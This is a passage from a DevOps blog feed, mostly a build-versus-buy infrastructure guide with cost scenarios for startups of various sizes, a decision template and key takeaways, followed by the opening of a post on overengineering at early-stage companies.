<h3 id="h3-2-underestimating-done" class="group relative scroll-mt-24">
        <a href="#h3-2-underestimating-done" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Underestimating "Done"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-underestimating-done"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>&quot;Done&quot; means:</p>
<ul>
<li>Production-ready with error handling</li>
<li>Monitored with alerts</li>
<li>Documented (architecture, runbooks, user guides)</li>
<li>Tested (unit, integration, load tests)</li>
<li>Secure (penetration tested, security reviewed)</li>
<li>Compliant (audit logs, access controls)</li>
</ul>
<p>Most POCs are 20-30% of &quot;done.&quot;</p>
<p><strong>Fix</strong>: If your POC took 3 weeks, budget 10-15 weeks total.</p>
<hr>
<h3 id="h3-3-ignoring-opportunity-cost" class="group relative scroll-mt-24">
        <a href="#h3-3-ignoring-opportunity-cost" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Ignoring Opportunity Cost
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-ignoring-opportunity-cost"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every hour spent building infrastructure is an hour not spent on:</p>
<ul>
<li>Customer-facing features</li>
<li>Bug fixes that impact revenue</li>
<li>Performance improvements</li>
<li>Technical debt reduction</li>
</ul>
<p><strong>Fix</strong>: Ask &quot;What product work are we NOT doing?&quot; for every infrastructure project.</p>
<hr>
<h3 id="h3-4-building-for-imagined-future-scale" class="group relative scroll-mt-24">
        <a href="#h3-4-building-for-imagined-future-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Building for Imagined Future Scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-building-for-imagined-future-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>&quot;We&#39;ll need to support 1,000 requests/second eventually, so let&#39;s build for that now.&quot;</p>
<p>This leads to:</p>
<ul>
<li>Overengineered solutions</li>
<li>Longer build times</li>
<li>Higher maintenance costs</li>
<li>Building for problems you might never have</li>
</ul>
<p><strong>Fix</strong>: Build for 3× current scale, not 100×.</p>
<hr>
<h3 id="h3-5-not-planning-for-the-original-builders-leaving" class="group relative scroll-mt-24">
        <a href="#h3-5-not-planning-for-the-original-builders-leaving" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Not Planning for the Original Builders Leaving
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-not-planning-for-the-original-builders-leaving"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What happens when:</p>
<ul>
<li>The engineer who built it gets promoted/leaves?</li>
<li>The team that maintains it disbands?</li>
<li>No one remembers why certain decisions were made?</li>
</ul>
<p><strong>Fix</strong>: </p>
<ul>
<li>Document architecture decisions</li>
<li>Rotate 2-3 engineers through maintenance</li>
<li>Have a &quot;replace with SaaS&quot; exit plan</li>
</ul>
<hr>
<h2 id="h2-when-building-actually-makes-sense" class="group relative scroll-mt-24">
        <a href="#h2-when-building-actually-makes-sense" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When Building Actually Makes Sense
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-when-building-actually-makes-sense"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Despite everything above, there <strong>are</strong> legitimate reasons to build infrastructure in-house:</p>
<h3 id="h3-1-core-competitive-advantage" class="group relative scroll-mt-24">
        <a href="#h3-1-core-competitive-advantage" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Core Competitive Advantage
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-core-competitive-advantage"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If the infrastructure <strong>is</strong> your product or a key differentiator:</p>
<ul>
<li><strong>Stripe</strong> builds payment processing (they sell payment infrastructure)</li>
<li><strong>Vercel</strong> builds deployment platforms (they sell deployment infrastructure)</li>
<li><strong>DataDog</strong> builds observability (they sell observability)</li>
</ul>
<p>For everyone else: If your competitive advantage is your product/service, buy infrastructure.</p>
<hr>
<h3 id="h3-2-extreme-scale" class="group relative scroll-mt-24">
        <a href="#h3-2-extreme-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Extreme Scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-extreme-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When you&#39;re spending $300K+/year on a single tool and have:</p>
<ul>
<li>100+ engineers</li>
<li>Dedicated platform/infrastructure team</li>
<li>Leadership buy-in for multi-year investment</li>
</ul>
<p><strong>Examples</strong>:</p>
<ul>
<li>Uber built their own observability platform (they have 2,000+ engineers)</li>
<li>Netflix built Chaos Engineering tools (they pioneered the space)</li>
<li>Spotify built their own deployment platform (Backstage, which they then open-sourced)</li>
</ul>
<p><strong>Key difference</strong>: These companies had 500-2,000+ engineers when they built these systems.</p>
<hr>
<h3 id="h3-3-regulatorycompliance-requirements" class="group relative scroll-mt-24">
        <a href="#h3-3-regulatorycompliance-requirements" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Regulatory/Compliance Requirements
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-regulatorycompliance-requirements"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When you have:</p>
<ul>
<li>Data sovereignty requirements (data can&#39;t leave certain geographic regions)</li>
<li>Compliance needs that off-the-shelf tools can&#39;t meet</li>
<li>Security requirements beyond what vendors offer</li>
</ul>
<p><strong>Even then</strong>, check if vendors have compliant offerings before building. Most major SaaS tools now have SOC2, ISO 27001, HIPAA, and regional data centers.</p>
<hr>
<h3 id="h3-4-integration-complexity" class="group relative scroll-mt-24">
        <a href="#h3-4-integration-complexity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Integration Complexity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-integration-complexity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When:</p>
<ul>
<li>You have extremely specific workflows</li>
<li>Off-the-shelf tools require so much customization that you&#39;re essentially rebuilding them anyway</li>
<li>The integration tax of using multiple tools is higher than building one unified system</li>
</ul>
<p><strong>Warning</strong>: This is the most abused justification. Most &quot;unique workflows&quot; aren&#39;t as unique as you think.</p>
<hr>
<h2 id="h2-real-world-scenarios" class="group relative scroll-mt-24">
        <a href="#h2-real-world-scenarios" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Real-World Scenarios
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-real-world-scenarios"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-scenario-a-series-a-startup-15-engineers" class="group relative scroll-mt-24">
        <a href="#h3-scenario-a-series-a-startup-15-engineers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario A: Series A Startup (15 Engineers)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-a-series-a-startup-15-engineers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Current state:</strong></p>
<ul>
<li>Using Heroku ($2K/month), GitHub Actions ($400/month), Datadog ($3K/month)</li>
<li>CTO wants to &quot;save money&quot; by moving to Kubernetes + self-hosted tools</li>
</ul>
<p><strong>Build path costs:</strong></p>
<ul>
<li>Kubernetes setup: 2-3 months for 2 engineers = $67K-$100K</li>
<li>Annual maintenance: 30% of 1 engineer = $60K/year</li>
<li>Migration risk: 4-8 weeks of reduced velocity</li>
</ul>
<p><strong>Buy path costs:</strong></p>
<ul>
<li>Heroku + GitHub Actions + Datadog: ~$65K/year</li>
</ul>
<p><strong>Verdict: BUY</strong></p>
<p>At 15 engineers, every engineer-month counts. The &quot;savings&quot; from self-hosting won&#39;t materialize for 2-3 years, and you&#39;ll sacrifice velocity when you can least afford it.</p>
<p><strong>Better move</strong>: Optimize Datadog usage, consider Heroku alternatives (Render, Railway), but stay on managed platforms.</p>
<hr>
<h3 id="h3-scenario-b-series-b-startup-60-engineers-20m-arr" class="group relative scroll-mt-24">
        <a href="#h3-scenario-b-series-b-startup-60-engineers-20m-arr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario B: Series B Startup (60 Engineers, $20M ARR)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-b-series-b-startup-60-engineers-20m-arr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Current state:</strong></p>
<ul>
<li>Spending $120K/year on infrastructure tools</li>
<li>Growing 50% year-over-year</li>
<li>CTO wants to build internal developer platform</li>
</ul>
<p><strong>Build path costs:</strong></p>
<ul>
<li>IDP build: 8-12 months for 2-3 engineers = $267K-$500K</li>
<li>Annual maintenance: 2-3 FTEs = $400K-$600K/year</li>
<li><strong>Total 3-year cost: $1.5M-$2.3M</strong></li>
</ul>
<p><strong>Buy path costs:</strong></p>
<ul>
<li>Continue with current tools: ~$400K/year (accounting for growth)</li>
<li><strong>Total 3-year cost: $1.2M</strong></li>
</ul>
<p><strong>Productivity gains needed to break even:</strong></p>
<ul>
<li>Need to save 8-12 engineer-months/year (13-20% of team capacity)</li>
</ul>
<p><strong>Verdict: MAYBE</strong></p>
<p>At 60 engineers, you&#39;re in the gray zone. If:</p>
<ul>
<li>You have 2-3 engineers excited to build/own this long-term</li>
<li>Your deployment process is genuinely complex and slowing teams down</li>
<li>Leadership is committed for 3+ years</li>
</ul>
<p>Then it <strong>might</strong> make sense. But be honest about the productivity gains—most teams overestimate by 2-3×.</p>
<hr>
<h3 id="h3-scenario-c-series-c-startup-200-engineers-100m-arr" class="group relative scroll-mt-24">
        <a href="#h3-scenario-c-series-c-startup-200-engineers-100m-arr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario C: Series C Startup (200 Engineers, $100M ARR)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-c-series-c-startup-200-engineers-100m-arr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Current state:</strong></p>
<ul>
<li>Spending $500K/year on infrastructure tools</li>
<li>Have dedicated platform team (5 engineers)</li>
<li>Complex microservices architecture</li>
</ul>
<p><strong>Build path costs:</strong></p>
<ul>
<li>Custom observability platform: 18-24 months for 3-4 engineers = $900K-$1.6M</li>
<li>Annual maintenance: 4-5 FTEs = $800K-$1M/year</li>
<li><strong>Total 3-year cost: $3.3M-$4.6M</strong></li>
</ul>
<p><strong>Buy path costs:</strong></p>
<ul>
<li>Datadog/New Relic at scale: ~$300K-$500K/year</li>
<li><strong>Total 3-year cost: $900K-$1.5M</strong></li>
</ul>
<p><strong>Verdict: STILL PROBABLY BUY</strong></p>
<p>Even at 200 engineers and $500K/year spend, building custom observability costs 2-4× more over 3 years.</p>
<p><strong>When to build</strong>: If you&#39;re spending $1M+/year on a single tool category AND have specific needs that vendors can&#39;t meet.</p>
<hr>
<h3 id="h3-scenario-d-enterprise-500-engineers" class="group relative scroll-mt-24">
        <a href="#h3-scenario-d-enterprise-500-engineers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario D: Enterprise (500+ Engineers)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-d-enterprise-500-engineers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Current state:</strong></p>
<ul>
<li>Spending $2M+/year on infrastructure</li>
<li>Have dedicated platform org (20-30 engineers)</li>
<li>Complex compliance requirements</li>
</ul>
<p><strong>Verdict: BUILD SELECTIVELY</strong></p>
<p>At this scale:</p>
<ul>
<li>Building custom internal platforms makes sense</li>
<li>You have the resources to maintain them long-term</li>
<li>The cost savings and customization justify the investment</li>
</ul>
<p><strong>Still buy</strong>:</p>
<ul>
<li>Identity (Auth0, Okta)</li>
<li>Secrets management (Vault, AWS Secrets Manager)</li>
<li>Payment processing (Stripe, Adyen)</li>
</ul>
<p><strong>Consider building</strong>:</p>
<ul>
<li>Internal developer platforms</li>
<li>Custom observability pipelines (not the full stack)</li>
<li>Deployment orchestration</li>
<li>Service mesh configuration management</li>
</ul>
<hr>
<h2 id="h2-the-decision-template" class="group relative scroll-mt-24">
        <a href="#h2-the-decision-template" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Decision Template
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-decision-template"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Use this template when evaluating build vs buy:</p>
<pre><code class="hljs language-markdown"><span class="hljs-section">## [Tool/Platform Name] Build vs Buy Decision</span>

<span class="hljs-section">### Problem Statement</span>
<span class="hljs-bullet">-</span> What problem are we solving?
<span class="hljs-bullet">-</span> Who is impacted? (How many engineers/teams?)
<span class="hljs-bullet">-</span> What is the current pain point? (Be specific with metrics)

<span class="hljs-section">### Build Option</span>
<span class="hljs-bullet">-</span> Initial build time: <span class="hljs-strong">___ engineer-months
- Initial cost: $__</span>_
<span class="hljs-bullet">-</span> Annual maintenance: <span class="hljs-strong">___ engineer-months/year = $__</span><span class="hljs-emphasis">_/year
- Total 3-year cost: $<span class="hljs-strong">___
- Key risks:
  1. ...
  2. ...

### Buy Option
- Tool: __</span>_</span>
<span class="hljs-bullet">-</span> Annual cost: $<span class="hljs-strong">__<span class="hljs-emphasis">_/year
- Total 3-year cost: $_</span>__</span>
<span class="hljs-bullet">-</span> Limitations:
<span class="hljs-bullet">  1.</span> ...
<span class="hljs-bullet">  2.</span> ...

<span class="hljs-section">### Productivity Impact</span>
<span class="hljs-bullet">-</span> Build: Saves <span class="hljs-strong">___ hours/engineer/week (be conservative)
- Buy: Saves __</span>_ hours/engineer/week
<span class="hljs-bullet">-</span> Net difference: <span class="hljs-strong">___ hours/week for __</span>_ engineers = $<span class="hljs-strong">__<span class="hljs-emphasis">_/year

### Decision
- [ ] Build (justify why)
- [ ] Buy (which vendor?)
- [ ] Defer (not critical now)

### Success Metrics (if building)
- Adoption: _</span>__</span>% of engineers using it by month 6
<span class="hljs-bullet">-</span> Time savings: <span class="hljs-strong">___ hours/week measured after 3 months
- Maintenance cost: <span class="language-xml">&lt;___% of original build team&#x27;s capacity
- Exit criteria: If we don&#x27;t hit X metric by month 12, we migrate to [SaaS option]</span></span>
</code></pre><hr>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Default to buy</strong> unless you have a compelling, specific reason to build</li>
<li><strong>Never build</strong>: Identity, secrets management, payment processing</li>
<li><strong>Almost always buy</strong>: CI/CD, observability, feature flags, load balancing, message queues</li>
<li><strong>Consider building at scale</strong>: Internal developer platforms (50+ engineers), custom observability pipelines (200+ engineers)</li>
<li><strong>Calculate full TCO</strong>: Initial build + 3 years of maintenance (20-40% of original team)</li>
<li><strong>Be honest about productivity gains</strong>: Most teams overestimate by 2-3×</li>
<li><strong>Plan for the builders leaving</strong>: Documentation, rotation, and SaaS exit plans are critical</li>
<li><strong>Opportunity cost matters</strong>: Every hour on infrastructure is an hour not on product</li>
</ol>
<hr>
<h2 id="h2-the-bottom-line" class="group relative scroll-mt-24">
        <a href="#h2-the-bottom-line" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Bottom Line
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-bottom-line"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Building infrastructure in-house is <strong>expensive</strong>. The true cost is almost always 3-5× higher than initial estimates, and the opportunity cost is rarely accounted for.</p>
<p>In 2026, the SaaS ecosystem is mature enough that <strong>95% of engineering teams should buy</strong> rather than build infrastructure. The 5% that should build are:</p>
<ol>
<li><strong>Infrastructure companies</strong> (your product IS infrastructure)</li>
<li><strong>Massive scale</strong> (500+ engineers, $1M+/year spend on a single tool)</li>
<li><strong>Unique compliance</strong> (data sovereignty, extreme security requirements)</li>
</ol>
<p>For everyone else: Buy the infrastructure, build the product. Your customers don&#39;t care if you built your own CI/CD platform—they care about the product you&#39;re selling them.</p>
<p><strong>The best infrastructure is the infrastructure you don&#39;t have to think about.</strong></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[The Hidden Cost of Overengineering Your First 50 Engineers]]></title>
      <link>https://devops-daily.com/posts/hidden-cost-overengineering-first-50-engineers</link>
      <description><![CDATA[Service meshes, multi-cloud strategies, and platform teams sound impressive. But for early-stage companies, they often slow delivery and burn cash. A practical guide to progressive complexity adoption.]]></description>
      <pubDate>Wed, 04 Mar 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/hidden-cost-overengineering-first-50-engineers</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Engineering Leadership]]></category><category><![CDATA[Infrastructure]]></category><category><![CDATA[Scaling]]></category><category><![CDATA[Platform Engineering]]></category><category><![CDATA[DevOps]]></category><category><![CDATA[Technical Debt]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Most engineering organizations with fewer than 50 engineers adopt infrastructure complexity years too early. Service meshes, multi-cloud architectures, and dedicated platform teams look sophisticated but typically slow feature delivery by 30-50% and increase operational costs by 2-4x. The actual inflection point for these investments usually comes between 75-150 engineers, not 15-30. This guide examines common overengineering patterns, their hidden costs, and provides a framework for progressive complexity adoption that aligns with actual business needs.</p>
<hr>
<h2 id="h2-the-problem-with-premature-sophistication" class="group relative scroll-mt-24">
        <a href="#h2-the-problem-with-premature-sophistication" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Problem with Premature Sophistication
        </a>
        <button 
